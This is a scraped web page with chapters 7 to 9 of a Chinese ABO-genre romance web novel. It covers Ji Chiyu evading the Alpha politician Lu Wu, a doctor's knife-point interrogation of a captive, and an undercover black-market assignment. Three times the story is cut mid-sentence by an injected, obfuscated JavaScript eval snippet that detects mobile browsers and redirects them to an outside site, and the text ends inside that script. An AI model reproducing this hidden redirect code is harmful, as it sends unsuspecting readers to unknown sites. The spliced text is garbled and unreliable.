《无法标记的她》 7. 【007】 【007】 安全第一,季池予先让简知白把灶台的火关了。 然后,她才像只突然发现自己漏了气的气球,扁扁地趴在桌子上,用梦游一般的飘忽口吻问他。 “你还记不记得,当初小迟在医院里躺了三个月的事?” 简知白当然记得。 不如说,整个首都星,乃至只要有链接星网、不聋不瞎的联邦公民,都不可能会忘掉这条爆.炸级别的新闻。 ——军.部引以为傲的王牌指挥官季迟青,在定期巡航时,意外遭遇星际海盗围杀,并被重伤。 因为季池予的缘故,简知白当时也参与了医疗组的工作,比普通人知道更多内情。 何止是“重伤”,说是“一脚迈进鬼门关”还差不多。 也就是S级Alpha的恢复能力太不讲道理,跟开了挂一样,硬是让季迟青撑了过来。 但凡换个A级的Alpha,别说后面在医院躺三个月了,人早在去医院的路上就凉透了。 连简知白都不得不夸一句“命硬”。 而且,真相也远没有新闻报道所说的那么单纯。 三个月的修养期,等季迟青恢复了自由行动能力之后,他做的第一件事,就是带上武器、不告而别,消失了整整一个晚上。 第二天一早,跟季迟青一同出现的,还有报纸角落里的另一条花边新闻。 说今日本该出席执政官定期会议的陆吾,却无故缺席。 据小道消息,有人在天亮时分,目击到医疗组出入陆家老宅,疑似是陆吾执政官突然身体抱恙。 只有季池予知道,是季迟青动的手。 如果说,陆吾作为最年轻的十二执政官之一,又是老牌大贵族的现任家主,代表了贵族利益集团的“狮派”。 那么,平民出身,同为S级Alpha,且军功耀眼,被誉为“联邦双璧”之一的季迟青,就是以军部为首的“刃派”的金字招牌。 阵营对立,再叠加个人恩怨,说双方是势同水火,都有点美化的嫌疑。 季迟青说过,陆吾此人,是从小就泡在阴谋和政.治.斗.争里,踩在豺狼虎豹的尸体上,才养出来的、一条披着人皮的蛇。 很难缠,所以若非必要,他也不愿意同对方过多纠缠。 简知白刚想问,季池予突然提这件事做什么,但看到她那副生无可恋的表情,突然悟了。 “……不会吧?今天把你抓去的那个Alpha是陆吾?”简知白不敢置信。 事实都这么摆在面前了,季池予只能点点头。 一时间,简知白竟都不知道该说什么。 虽然整个联邦的S级Alpha也就那么几个,但怎么偏偏是陆吾? 再没有比这个更糟糕的答案了。 再加上,季迟青驻扎在边境区一线,远水救不了近火——哦,不对,他现在任命在身,想回都不能让他回。 简知白捏了捏眉心,忍不住长长叹了口气。 “运气太烂了。”他客观地评价,“那大小姐,你现在打算怎么办?” 季池予心想:何止是运气太烂,简直像在雷雨天举着避雷针跳踢踏舞,没被当场劈死,纯属阎王今天调休 。 还好她平时都习惯自力更生,一般能自己解决的,都不会轻易动用季迟青的名号。 不然,要是让陆吾和精英男发现,她就是头号死对头的姐姐,她估计连那个地下密室的门都出不去。 “……希望陆大执政官能贵人多忘事,把我忘了?” 反正小迟现在不在首都星,也没别人有那个本事,能跟陆吾正面扛,季池予索性开摆了。 她安详地倒在沙发上,像条躺在盐罐子里,都懒得翻个身的咸鱼。 “明面上,我的身份和小迟完全无关。只要捂住马甲别翻车,以陆吾目前的态度来看,顶多也就是给我也打一针,洗洗.脑子的事。” “总之先一切照常吧。现在突然销声匿迹才更可疑——这次小迟被指派的任期是半年,无论如何都得把这半年混过去才行。” “倒是你,自己小心点,记得把尾巴藏好了。” 季池予抬起脑袋,看向从刚才开始就没说话、若有所思的简知白。 脱下了白大褂的简知白,还系着围裙。 小狐狸图案的围裙是她上次满购送的赠品,因为觉得那只小狐狸坏笑的样子很眼熟,就顺手拿了过来。 简知白这个掉进钱眼里的抠门鬼,有了免费的,自然就不肯再花钱换,便一直沿用到了现在。 实话实说,还挺可爱的。是那种很贤惠的人夫感。 配合着厨房隐约透来的暖色灯光和烟火气,黑心庸医的气质被削弱,看着倒也像个人。 季池予一只手撑着脸,懒懒地摆了摆手。 “我是跑不脱了,你就躲着点吧。省得万一回头出事,连个给小迟通风报信的人都没有。那也太惨了。” 说完,她就示意作战会议到此结束,让简知白赶紧回去做宵夜。 可等简知白端着宵夜出来,却看见季池予一个不注意,又睡着了。 应该是之前在地下密室吸入的安眠气体,药效还没完全散干净。 把宵夜随手搁在餐桌上,简知白屈膝,单腿跪在沙发边上,垂眼看向睡得毫无防备的人。 这一眼便望到了她后颈上的咬痕。 季池予向来不爱出门,户外活动更是能逃就逃。 再加上季迟青从不计较成本的供养,也理所当然地,将这具本就不太像Beta的身体,娇惯得愈发接近Omega。 毕竟,连大小姐平日用的面霜和身体乳之类的,都是他在实验室顺手做好,再送过去的。 但也正是因为肌肤白皙,在上面留下的任何痕迹,才会被衬托得愈发浓烈。 突兀得有点碍眼了。 绕开桌子,简知白拿来医药箱,决定先把这处咬痕给处理了。 撩开季池予垂落的黑发,将其绕到一边而后,他用指尖轻轻触碰上还没结痂的后颈。 这其实是一个非常具有侵.略.性,甚至会让许多人出现应激反应的行为。 因为,不管是对Alpha、Beta还是Omega来说,藏有腺体的后颈,都是最致命和最敏.感的部位。 即便是家人或医患,也不能随意触碰。 按照社交礼仪,故意将自己的后颈裸.露出来,并展示给他人看,可以说是一种直白又露.骨的调.情方式。 季池予却依然睡得很安稳。 让简知白忍不住加重了指尖的力道。 似乎是终于知道疼了,陷在梦里的人,很是委屈地蹙起眉,下意识要躲,又偏偏下意识靠近了施加者的方向。 看着自投罗网的大小姐,简知白忽然挑起眉。 像是心血来潮的恶作剧一样,他低下头,轻轻地,用唇舌含住那截可怜的后颈,如同怜爱的安慰。 反正他是Beta,留下的信息素很快就会散去,没有人会知道。 不过,考虑到大小姐的特殊体质,就算换成Alpha来,也不会有什么区别。 想到这里,简知白都忍不住有点同情,那些总是作为天之骄子出场的Alpha了。 他们对于“彻底标记”的执着本能,应该比Beta更强烈吧? 简知白忍不住坏心眼地笑了笑。 直到唇舌离开后颈,他才眯起眼睛,轻声同熟睡的大小姐约定好:“那块蛋糕可敷衍不了我。这才是定金。” 既然定金也收了,那就该好好干活了。 简知白把人抱去了自己的卧室,又收拾完碗筷和厨房,才不紧不慢地走出居住区,去了前院的诊所。 打开手术室的门,他一边戴手套,一边扬起笑,跟被牢牢束缚在铁椅上的Alpha打招呼。 “真不好意思,家里的大小姐太会使唤人了,没想到会拖到这么晚。让你等很久了吧?” ——是之前在第十区,被季池予一枪放倒的那个Alpha。 在赶到现场,发现季池予下落不明之后,以防万一,简知白将注射了抑制剂的Omega扔到警署门口后,就暗中扣下了信息素失控的Alpha。 也是现在才终于腾出手,来料理这边的问题。 无视对方瞳孔里炸开的恐惧,简知白从袖口抽出随身携带的手术刀, 好心地替他解释现状。 “别紧张,给你注射了一点肌.肉.松.弛.剂和轻微的致.幻.剂而已 。毕竟我只是个柔弱的Beta,总得谨慎一点,你说对吧?” “放心,我计算过剂量,确保所有的痛觉神经还活蹦乱跳着,也不影响你的思考和说话。” 像是为了证明自己的话一样,刀尖悬停于Alpha颤抖的眉心,慢慢向下划开一道浅浅的血痕。 简知白的叹息像裹了蜜糖的毒药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16267369|182145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “ 所以接下来,能麻烦你诚实回答我的每一个问题吗?” “毕竟,我们家那位大小姐,这次可是托你的福,惹上了个大麻烦了啊。” 既然收了双倍的钱,那来自另一位雇主的委托,自然也要执行到位。 他可惹不起季迟青那个暴.君。 不去分辨其中的公职和私欲,手术刀在简知白指尖转出银亮的圆,像是死神在掂量灵魂的重量。 最后,他微笑着,将刀刃拍到Alpha脸上,不太有诚意地提前道了歉。 “所以,如果我不小心下手太重了的话,也请多多包涵。” ……………… ………… …… 与此同时。 等陆吾等人回到别馆,看到的就是一个空空荡荡的地下密室,以及跪了一地、忙着认罪讨饶的护卫队。 向来看热闹不嫌事的兰斯,当即就吹了个口哨。 “哇哦。你是说,你们这么多人加一起,竟然还看不住一个关在密室里的Beta?” 像是把自己都给逗乐了,他并无恶意,只是满脸好奇地追问。 “头儿每年批下来的训练经费,你们是都拿去睡女人了吗?这么奢侈,得是多贵的妞啊?好玩吗?” 护卫队的主管汗流浃背。 他也是有苦说不出:家主不让他们留人在密室里,只许守在外面,他们就老老实实地一直盯着监控,也没出现任何异常情况。 谁能想到,人竟然就会这么不见了?! 绕开兰斯和主管,俞研扫了眼现场,捡起压在显眼处的那张字条。 “陆哥。”他没看内容,直接转交过去。 字条上的内容倒是不短,从漫画书撕下来的空白扉页,足足写了小半张纸,看起来还挺情真意切的。 陆吾看完,捏着那张薄薄的纸,慢条斯理地笑了一下,却没有说话。 俞研替季池予叹了口气。 他上前一步:“已经查到她的住址了。陆哥,我去把人带来?” 兰斯又兴致勃勃地在旁边添乱。 “所以,咱们现在拿的剧本,是《霸道Alpha和他的带球跑情人》吗?俞研去抓人的话,我来负责演医生?还是那个说‘少爷好久都没这么笑过了’的管家?” 俞研不知道第多少次,想干脆把兰斯毒哑算了——这家伙就多余长了那张嘴。 陆吾却在这时候,忽然开口找俞研要刀。 俞研想也不想,就从靴底抽出随身的匕首,递了过去。 随手将匕首在指尖把.玩,陆吾淡淡道。 “不急。她要是敢离开首都星,就不会留下这张字条,想赌我贵人多忘事了……比起这个,把马尔兹那边给我盯死了。明天我要再亲自去一趟会馆。” 他们这次回去,陆家那边竟然没审出什么东西来。 于是,疑点就又回到了会馆和马尔兹身上。 吃了这么大一个暗亏,陆吾可不打算让参与这件事的任何人,有机会就这样轻轻松松地离席。 做生意,向来讲究一个等价交换。 他不是君子。报仇这件事,别说十年了,连让仇人多活一个晚上,他都嫌有点太长。 至于那只爱咬人又喜欢乱跑的兔子…… 陆吾垂眼,看向手上那道几乎已经愈合、只剩下一点浅浅印子的疤痕,忽然挑起唇角笑了一下。 看到那仿佛温柔多情的笑意,俞研下意识屏住呼吸,开始背后发毛。 这个状态的陆哥,谁挨谁倒霉。 连刚才还口无遮拦的兰斯,都默默捂住了自己的嘴,生怕等下脑子又没嘴快,让头儿把注意力落到自己身上。 陆吾却一个多余的眼神都没给他们。 他想,虽然现在没空去抓兔子,但罪证可得保留好了。 瞧字条上那么会写的样子,应该很擅长拿甜言蜜语哄人吧?不知道本人站到他面前的时候,又能编出什么好听的瞎话。 要是说得他不满意,可就轮到他索取补偿了。 眉眼含笑,陆吾挑起匕首,把那些原本痊愈的咬痕,又一点点亲手撕裂开。 细密的血珠连成线,缠绕在掌心与指尖,再顺势向下滴落。 觉得自己复刻得挺成功,陆吾满意地将匕首扔还给俞研,又懒洋洋地冲对方勾了勾手指。 “另外还有一件事,俞研,你去准备一下。” 8. 【008】 【008】 有什么比被绑架、被抓去给信息素失控的Alpha打抑制剂、被卷入两个对立阵营的中间当炮灰,还更可怕的事情吗? 季池予:在经历这一切之后,早起去上班。 就算是超人,昨晚通宵拯救了世界,第二天早上七点,照样还是得老老实实地穿上西装三件套,准时踏进公司当牛马。 只要人还活着,全勤奖就会平等地制裁每一个社畜。 季池予哪怕不想醒,已经养成习惯的生物钟,也依然准时准点地把她叫了起来。 睁开眼睛后,她看着并不眼熟的天花板,才慢半拍地反应过来,自己好像霸占了简知白的卧室。 虽然简知白理论上挣得不少,但他就像笃定自己绝对不会有客人留宿一样,诊所后面的居住区,一直都只有主卧,连一间备用的客房都没有。 书房和实验室倒是占了一半以上的面积。 季池予都不知道是不是该夸对方一句,实在太有自知之明了,死要钱和没朋友的人设非常坚固。 事实上,就连这间主卧,也没什么很明显的生活痕迹。 没有任何体现个人喜好的装饰物,连私人物品都没摆几件,说是酒店的样板房应该也有人信。 季池予怀疑,简知白老老实实在这睡的时间,可能还没有待在实验室的时间长。 现在倒是便宜了她。 这间主卧采用了套间的设计结构,里面还包括了卫生间和浴室,所以隐.私.性很强,不需要出房间就能把自己打理好。 洗漱完毕,季池予刚推开门,就看到了卧室真正的主人,正可怜巴巴地蜷缩在沙发上小憩。 简知白是A级Beta,光从体格来说,在Beta也是偏高挑的那一类,差不多达到了Alpha的平均值。 坐时还很宽敞舒适的沙发,被他这么一躺,就显得太局促,连修长的手脚都没处安放,只能很委屈地悬出来一截,找不到落点。 大概也是这个原因,简知白是仰躺在沙发上的。 一只手反搭在眼睛上,遮去从窗外漏进来的清晨曦光,眉头微蹙,似乎睡得不怎么安稳。 一看就晓得,昨晚估计又不知道熬夜折腾什么去了。 屋子里还散发着淡淡的食物香气。 季池予随后在餐桌上,找到了被放置在保温箱里的早餐,以及重新检查并修复好的个人终端。 吃人嘴短,而且她也不想招惹没睡饱的低气压大魔王。 季池予蹑手蹑脚地走到窗边,把漏进光的窗帘重新拉紧,又转身从卧室里,把被子抱出来,慢慢盖到简知白身上。 最后才叼起包子,做贼似的悄悄溜走。 门在被关上时,发出了轻微的金属咬合声。 简知白睁开眼睛,虽然隔着一扇门,但隐约还能听到大小姐那活蹦乱跳的脚步声。 倒是很心大,似乎一点都不担心陆吾找她麻烦的样子。 下一秒,被简知白放在桌上的终端闪了一下,是在提醒他,新的转账金额已到账。 简知白扫了眼数字,比他昨天报的价还要更多一点。 而下面的备注,是提醒他中午记得吃饭,别晕死在实验室里,搞得有钱赚没命花。 最后还很孩子气地,用字母拼了个“嫌弃”意味的表情。 拿转账备注当聊天软件,真是好奢侈的大小姐……这可不好养啊。一般人还真养不起。 指尖在那个字母表情上点了点,简知白伸了个懒腰,也懒得再挪窝,就这么一头倒在软乎乎的被子里。 原本干净无味的被子,被染上了淡淡的、类似花果香的味道。 应该是她用过沐浴露之后留下的味道。 带着经过一夜熨暖的体温。 简知白闭上眼睛,任由自己陷在那股残存的气息里,总算做了个好梦。 ……………… ………… …… 另一边。 季池予踩点赶到了管理局总部的大楼打卡,总算保住了这个月的全勤。 在以信息素为基石的ABO世界中,她所属的信息素安全管理局,体系机制差不多等同地球的“警.察”,在联邦各地都布有支部。 而总部,便位于国.家.政.治与经济中心、被誉为联邦“心脏”的中央区。 这一级别的日常薪水和福利待遇,自然都不低。 除此之外,由于信息素事故往往跟Alpha和Omega有关,在中央区工作的他们,经常要和权贵打交道,时不时就要被塞几笔封口费,作为额外收入。 所以信息素安全管理局,除去一线人员可能面对的潜在危险,大体上也算是个能让人抢破头的好差事。 而且,也是所有官方体.系中,唯一一个会大量录用Beta的正式机构。 经历了昨天的大起大落,季池予乍一下回到最熟悉的工作环境,放眼看去,身边都是些和平友善、不爱咬人的Beta同事。 一时间,她竟有种恍如隔世的感觉。 甚至还有点感动。 有了陆吾那颗不定时炸.弹作对比,连最烦人的副组长,这下都多了几分慈眉善目的意思。 真可怕,季池予居然有一瞬间,冒出了想要加班的冲动。 “——想什么呢?一大早就傻呆呆地站在这里。” 所以,当提问声从背后传来时,她也下意识地回答:“想加班。” 然后下一秒,就看到了同事惊恐的表情。 失去了脸上的笑容,梁欢第一反应,就是伸手去摸季池予的额头,看看孩子是不是把脑子烧坏了。 “小鱼你终于加班加疯了吗?现在我陪你去医疗组做个精神鉴定,说不定还能算工伤,带薪休假。” 季池予想了想,觉得可能也快了。 眼见往日都活蹦乱跳的小鱼,现在蔫巴巴的没了精神,梁欢又是心疼,又是同情。 也不是不能理解。 谁家好人,在连着加了一个多月的班之后,好不容易批到一天休假,结果还遇到突发事件,又狠狠加了个昏天黑地,都会疯的。 ——在俞研的手笔下,季池予昨天是在第七区遇到了一起突发事故,连全套的笔录和取证都做好了,挑不出一丁点错漏。 季池予今天早上看了眼卷宗,都觉得比她本人写得还好。 不愧是给执政官干活的高级打工人。 而梁欢也决定,要用八卦来拯救这个灰暗的工作日。 “我刚从人事处那边,打听到了一个惊天八卦!偷偷告诉你,你可千万别跟其他人说。” 她左右张望了一下,确定周围没有熟人之后,才神秘兮兮地附耳过来。 “克兰副组长应该是要转去行政组了!说是调任书都已经盖章,压在人事处那边,就等着下个月公布。” 被成功转移了注意力,季池予下意识觉得不可能。 因为克兰是个平民的男性Beta。 虽然由于要处理信息素相关的案件,和其他几乎只招收Alpha的政.府.机.关不同,管理局还是会录用状态更稳定的Beta。 但也仅限于需要冲在一线的行动组和医疗组。 而掌管最高权限的行政组,向来是出身自世家贵族的Alpha的天下。 行动组每年的伤亡率都居高不下。 像他们这种纯耗材的Beta执行专员,后期能调去更安全一点的后勤组,都算是熬出了头。 就更别说是行政组了。 即便克兰已经是行动组的副组长,按照常理,最好的晋升路线也只是升为组长,然后再平调去后勤组。 梁欢却耸耸肩,一语揭开了那层遮羞布。 “还能是为什么?把自己卖了个好价钱呗。对方好像是个第三区的贵族,跟行政组的小主管有点关系。” “听说克兰为了讨好那个Alpha,还特意去做了改造手术,让身体特征更趋向于Omega……所以上次出外勤的时候,他的反应才那么迟钝。” 又想起了因此造成的意外伤害,梁欢扯了扯嘴角,冷漠道。 “就是不知道,他这种以色侍人的好日子,还能过多久。” 因为职务的关系,他们见多了这种,为改变命运而冒险去攀高枝的Beta。 无一例外,下场都很凄惨。 那些高高在上、生来就站在食物链顶端的贵族Alpha,只习惯去征服和占有,哪有什么真心与爱意。 一个个表面看起来光鲜亮丽,私底下不知道做了多少脏污事。 梁欢对中央区的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16267370|182145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八卦如数家珍。 “不过,说起这个,陆吾执政官,还有军部的季迟青指挥官,倒是没听说他们有养过什么情人。” “而且这两个人气最高的单身Alpha,明明社会贡献积分早就达标了,却都迟迟没有启动Omega的匹配申请……都快把咱们中央区的适龄未婚Omega给急坏了吧?” 梁欢摸了摸下巴,又补充评价。 “不过,季迟青指挥官还好,要是跟陆吾执政官匹配上的话,估计还挺难搞的。” 捕捉到关键词,季池予抬眼,不免好奇:“为什么这么说?” “我记得季迟青指挥官,原先是荒星的孤儿吧?无父无母,没有家人。是因为分化成了S级Alpha,才被选拔到帝.都.中.央.军.校,纯靠自己攒军功升上去的。” “但陆吾执政官的情况可就复杂得多了。” 像是怕惊扰到什么庞然大物一般,梁欢下意识压低声音。 “你别看,虽然执政官他的确身份高贵——出自中央区的政.客世家,名门中的名门,要富贵身家有富贵身家,要历史底蕴有历史底蕴,是S级Alpha,还长了那么一张芳心纵火犯的脸。” “听起来是个很诱.人、很完美的黄金单身汉吧?可他所有的直系亲属,都已经因为各种原因,在前些年,陆续非正常死亡了。” 梁欢掰着手指,一个个数过去。 “执政官的父亲比较离经叛道,弃政从军,虽然也升到了上尉,但在一次星际异种的兽潮中,意外失踪。” “父亲被默认死亡的不久后,母亲跟着殉情,唯一的爷爷也不久后因病去世……至少明面上的新闻,都是这么报道的。” “虽说陆吾现在是陆家的家主,也担任了‘执政官’的席位,但要是他出了什么意外,旁系里也有一大堆候选继承人,都在削尖脑袋排队等着呢。” 梁欢点到即止,对季池予露出一个“贵圈真乱,你懂的”的表情。 这个话题不宜展开讲,见小鱼被成功转移了注意力,她见好就收,又笑眯眯地揽着人,把人往电梯那边带去。 “哎呀,反正这些跟我们也没关系!Alpha有什么好的?控制欲强,不懂体贴,发.情期又麻烦,一天天就净给我们制造加班机会。” “要我说,世界转动还得是靠我们Beta啊!” 季池予深以为然地点点头。 特别捧场。 梁欢看着这张目光专注,乖乖仰头望向自己,好像哪里都是软的、哪里都招人疼的脸,有种揉捏小动物的快乐。 让人莫名生出一股想要照顾对方,又忍不住想要欺负一下的欲.望。 梁欢最后没压住手痒,还是伸手捏了捏她的脸。 但捏着捏着,她又忽然想起另一件事。 “说起来,昨天你不是让我去查第十区的事情吗?” 梁欢随口解释了一下后续。 “最后没查成。好像是被上面按下去了……楠姐没细说为什么。但我估计又是跟哪个贵族有关吧。” 季池予“哦”了一声,也没放在心上。 反正她只是恰巧遇到了,就顺便提一嘴,至于能不能彻查到底,就不是她们能决定的了。 二人迈出电梯。 可今天,行动组的楼层,氛围却有些诡异。 在她们踏进部门的那一瞬间,原本还叽叽喳喳、不知道在讨论什么的同事,忽然都闭上了嘴。 季池予立刻意识到,他们是在看自己。 但还没等她问清楚缘由,一个穿着体面、做侍者打扮的年轻人,就径直走向了她。 季池予的目光,不由被那满怀的花所吸引。 无关喜好,只是这样浓烈到耀眼的红,足以在闯入视线的瞬间,便不容分说,掠夺所有人的注意力。 让她本能地想起了,那对有着相同色泽的眼睛。 而侍者也态度谦恭地将花献上。 “您好,季池予小姐。我是‘星烬秘苑’的店员,这里有一束代为献给您的花。愿你今天也拥有和花一样绚烂的好心情。” 有一张小小的手写卡片,被别在了花瓣间。 【下次见。】 卡片末尾,只签了一个笔锋凌厉的“陆”字。 ——是陆吾。 9. 【009】 【009】 被精心包装过的华美花束,每一支都是在严格控制环境条件的温室里,仔细计算好时间,从还是含苞待放的状态摘下,以确保送达到客人手上时,刚好是最美的盛放状态。 连花瓣绽开的弧度,都经过了千挑万选,才能够描绘出这样纯粹而艳烈的猩红色瑰奇。 即便完全认不出花的品种,也不难从这阵仗,判断出这束花的价值不菲。 但季池予却只觉得,自己看到的不是花,而是一封死神的预约通知函。 陆吾看起来,可不像是打算“贵人多忘事”的样子。 甚至,她莫名从这个指名道姓送花的行为中,品出了一丝微妙的……猫科动物的恶趣味? 就好像一个人,特意跑来告知你最近有血光之灾,但又不告诉你具体是哪一天,故意吊着你,让你此后的每天都活在担惊受怕里。 享受着猎物的惴惴不安,直到玩够了,才施施然登场,亲手补上那最后一刀。 而且,还非要送这么大张旗鼓的花。 季池予察觉到,连身边的梁欢都露出了欲言又止的神色,真是哑巴吃黄连,有苦说不出。 感觉今天,不,三分钟以内,整个管理局都能吃上她的这口瓜,讨论说她也成功抱上了某不知名贵族Alpha的大腿。 如果不出意外的话,接下来一个月的内部论坛,应该都是她和即将转去行政组的克兰副组长,决战热搜之巅了。 绝对是故意挑的这束花的。 真是好恶劣、好道德败坏的一只猫。 季池予一瞬间感觉,整个猫科的风评,都要被陆吾跨物种狙击,狠狠拉低平均值。 问题是,这花还不能不收。 陆吾也是S级Alpha。按照她和小迟斗智斗勇的经验来说,如果她敢拒收这束花,下次可能就是陆吾本人过来送惊喜了。 人总不能和自己过不去。 打又打不过,只能顺毛捋了。 在周围一圈吃瓜同事的目光下,季池予看似平静地,向花店侍者伸出手,准备签收。 ……等下她就去把那些养猫博主全都取关了。 季池予完全不冷静地想:从今天开始,她就要投奔狗派!狗狗才是人类最好的朋友啊! 季池予在系统光屏签下自己的名字。 却没料到,她正准备接过那捧花的时候,一个声音却从身后袭来。 “花不错。颜色挺喜庆的。”对方漫不经心地点评。 是行动组的组长,姜楠。 酒红色的大波浪卷发,散发着慵懒的妩媚意味,中和了那股转瞬即逝的、金属一般的冰冷感,如同带刺的玫瑰。 不知道是什么时候走过来的,她斜靠在办公桌的挡板上,懒洋洋地挑起眉,抬眼扫向周围。 “都很闲是吧?工作都做完了?” 组长话一出,吃瓜群众顿时作鸟兽散,逃命似的扑向工位,开始兢兢业业地干活。 季池予也不例外。 但下一秒,她就被点了名。 “——小鱼来我办公室一趟。” 指节在季池予的桌上轻叩了几下,姜楠垂眼,视线落到那捧让人无法忽视的猩红花束上,似笑非笑地补充。 “对了,带上你的花一起。” ……………… ………… …… 行动组组长办公室内。 季池予抱着花,像个抱着定.时.炸.弹的木头桩子,杵在办公室中央,脸上写满了不打自招的心虚。 姜楠也并未坐在象征权力的高背椅上。 她姿态随意地斜靠在桌上,双腿交叠着翘起,用指尖拨弄了一下季池予怀里的花瓣,仿佛只是在话家常。 “知道这花是什么品种吗?” 姜楠的语气不带任何情绪。 季池予拿不准,只能诚实地摇了摇头。 刚才趁没人的时候,她的确偷偷摸出了个人终端,试图在浩瀚的星网上搜寻一丝线索。 尝试着拍照识图——跳出来的结果,要么是廉价仿品,要么是毫不相干的物种百科。 输入花店名“星烬秘苑”——无官方认证账号,无任何商业推广信息,甚至连一个模糊的地址都查不到,干净得像一个幽灵。 要不是真的收到了花,送花的又是陆吾,季池予可能都要怀疑,这家店到底存不存在了。 “应该……不便宜?”她说得没什么底气。 “不便宜?”姜楠挑起眉,表情意味深长,带着一丝说不清是嘲弄还是感慨的凉薄。 “‘绯烬星兰’,原是索拉星系的特产。因为外表美丽,在百年前被探险队第一次发现之后,就作为献给皇室的礼物,统一移植到首都星来了。” “为了模拟它所需的环境,从种子开始,就必须泡在液态铂金里。产量稀少到按朵拍卖。” “所以这样的一捧,保守估计,应该至少能顶我们行动组全员十年的薪水吧。” 轻描淡写地算了笔账后,姜楠又重新问了一遍:“现在呢?感想如何。” 季池予表情逐渐凝重。 她知道陆吾作为陆家的家主,兼任十二执政官之一,应该是很有钱。 可也的确没想到……对方竟然是真的,钱多到烧得慌。 谁家好人会寄这么贵的恐吓信啊?!恐吓信的本质,难道不是为了向收信人勒.索.赎.金吗!完全亏本了啊哥! 哦,差点忘了对面不是什么好人了。 那没事了。 挖资.本.主.义反派的墙角,向来是每一个社.会.主.义接班人应尽的义务。不管是在地球还是ABO世界。 季池予幽幽道:“报告楠姐,正在想有没有可能把这花偷偷卖了换钱,然后申请调去边缘星系提前养老。” 饶是姜楠,也被她这幅模样逗得破了功。 “建议你最好不要。” 屈起手指,带着点恨铁不成钢的意味,姜楠敲了敲这条小木鱼的脑袋,漫不经心地回答。 “出得起这个价格的人,不会碰这样来路不明的货;而出不起这个价格的人,也承担不起拥有它的后果。” “这是仅限贵族阶层才能流通的特殊物品,是身份和权力的象征。普通公民若擅自持有或交易,一旦发现,根据情节轻重,可判盗.窃至走.私.罪不等。” 季池予:? 季池予瞳孔地震,是真没想到中央区的贵族还能这么玩,简直没事找事。 哪怕世界和平,也要硬生生制造点犯罪率出来,好显得坐在法.院里的那些老爷少爷们,不是纯摆设是吧? 得知自己差点就要被抓去蹲大牢,季池予路边捡钱的笑容没了。 她面无表情:ABO世界的劳动人民,到底什么时候才能站起来,把这群可恶的天龙人抓去吊路灯? 姜楠却似笑非笑:“先别急着义愤填膺,你再看看这个。” 一份散发着淡淡蓝光的电子文件被推到季池予眼前。 她的目光落在顶端的标题上:《内部调岗意向征询书》。 而下方福利条款里,“年薪翻倍”、“独立公寓”、“年度带薪假三个月”的字样亮得晃眼,充满了腐朽资.本.主.义的香甜诱惑。 “今天后勤组的主管亲自跑来找我。” 姜楠的语气又恢复了惯常的戏谑口吻,指尖在文件上点了点,荡开一圈微小的涟漪。 “说他们那边最近缺人,特别需要你这种心细如发、耐得住性子的人才。待遇嘛,肯定比你现在高一大截,而且每天只要跟仪器和数据打交道就行,风吹不着雨淋不着,还能按时下班。” 含笑着转达完信息,她微微前倾身体,目光平静却极具穿透力地笼罩着季池予。 “怎么样?考虑一下?别的不说,钱多事少不加班,也不用直面一线现场的危险。不少人想抢破头都没这个机会。” ——又是陆吾。 也只可能是陆吾的手笔:他想把她从行动组调离。 但为什么? 意识到这一点,季池予下意识蹙起眉。 她看着那份许多人梦寐以求的调岗申请书,却露出了避之不及的表情。 “真不去?”姜楠的语气听不出喜怒。 “如果我不去……”季池予盯着文件上的字,小小声地问,“会给楠姐你添麻烦吗?” 姜楠垂眼看着面前的人,嘴角极其细微地向上弯了一下,快得让人几乎会以为是错觉。 “又在一个人胡思乱想了。” 她随手抄起桌上的文件夹,敲了敲季池予的脑袋,语气带着些无奈,却充满不可撼动的力量感。 “不愿意去就不去。目前调岗还是自愿性质。而且我一手带出来的人,也没有随随便便就送出去的道理。” “所以——说说看吧,你这到底是怎么回事?” 季池予汪地一声哭出来。 像是在外面受气的小孩子,终于等到了家长来给自己撑腰,她抱住楠姐的大腿,就开始大吐苦水。 当然,是掐头去尾、给机密信息全都打码了的版本。 姜楠耐心听完她语焉不详的解释,也对她这又好又坏的运气,无话可说。 虽然后勤组也没老实交代,但听对方的话锋,授意者至少也是个中央区的高阶贵族Alpha。 这就不太好办了。 如果对方强行要人的话,可能会有点麻烦……得吊着那边,但又不能把人逼急了。 姜楠思忖片刻后,转手调出了另一份文件。 是委托案件的资料。 “这段时间,黑市接连发生了数起大规模的信息素失控案,频率活跃异于往常,而且隐隐有向外扩散蔓延的趋势。事态已经引起上面的注意了。” “虽然目前的分析结果,都推到了‘抑制剂失效’或者‘个体反应应激’上面,但私底下,已经列入了近期最优先的首要重案。” “不过,黑市有黑市的规矩,动静太大反而容易打草惊蛇。我想要让人潜入到黑市内部去,深入调查真相。” 姜楠意有所指:“我记得,你有黑市那边的路子?” 季池予立刻眼睛一亮。 瞌睡来了送枕头!她正愁没有一个听起来合情合理的借口,让她可以躲开陆吾,暂时避避风头! 季池予果断点头,伸手要去接那个机密资料袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 